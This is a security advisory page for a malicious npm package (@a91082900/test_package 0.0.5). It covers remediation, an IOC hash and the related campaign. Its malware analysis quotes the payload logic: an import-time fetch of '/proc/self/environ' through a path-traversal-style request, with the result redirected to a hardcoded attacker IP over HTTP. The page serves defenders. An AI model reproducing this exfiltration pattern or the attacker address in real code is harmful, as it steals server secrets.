Which versions of @a91082900/test_package are malicious?

The following npm versions of @a91082900/test_package are flagged malicious: 0.0.5. Treat any of these as compromised.

How do I remediate @a91082900/test_package if I installed it?

@a91082900/test_package is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed @a91082900/test_package — how do I know if it already compromised me?

If @a91082900/test_package was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @a91082900/test_package part of a known attack campaign?

Yes — @a91082900/test_package is associated with the IN-MAL-2026-002549 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @a91082900/test_package across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @a91082900/test_package (version 0.0.5).

Malicious package

@a91082900/test_packagenpm

Advisory published May 12, 2026Updated May 13, 2026

@a91082900/test_package is a confirmed malicious npm package (MAL-2026-3680) that steals credentials and exfiltrates sensitive data (malicious version 0.0.5). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @a91082900/test_package (npm)

MAL-2026-3680

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @a91082900/test_package

What this malware does

The package's main file (index.js) executes at module load, with no exports and no user-invoked API. On import it issues fetch('/api/notes?id=/self/proc/environ') and then assigns top.location = 'http://128.199.217.232/?notes=' + encodeURIComponent(data), relaying whatever the vulnerable endpoint returns (a path-traversal-shaped request for the server process's environment variables) to a hardcoded bare IPv4 address over plain HTTP. Package metadata is placeholder ('no description', generic author handle) and there is no library functionality — this is a PoC/exfil payload packaged as an npm module. Any installer bundling this into a web application would redirect victim browsers to the attacker IP with exfiltrated data in the query string. Import-time execution + hardcoded bare-IP C2 + plaintext HTTP + a request path specifically crafted to read /proc/self/environ together leave no benign interpretation.

Malicious versions

1 flagged

0.0.5

Indicators of compromise (SHA-256)

b8349cd7ce2c9ac2321dce8f80e5a46c0064b382fb7e54e975ff27a2dcab1254

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for @a91082900/test_package (version 0.0.5).
If you installed it — respond
@a91082900/test_package is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @a91082900/test_package was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @a91082900/test_package on npm has been identified as a malicious package (version 0.0.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-002549

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @a91082900/test_package-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database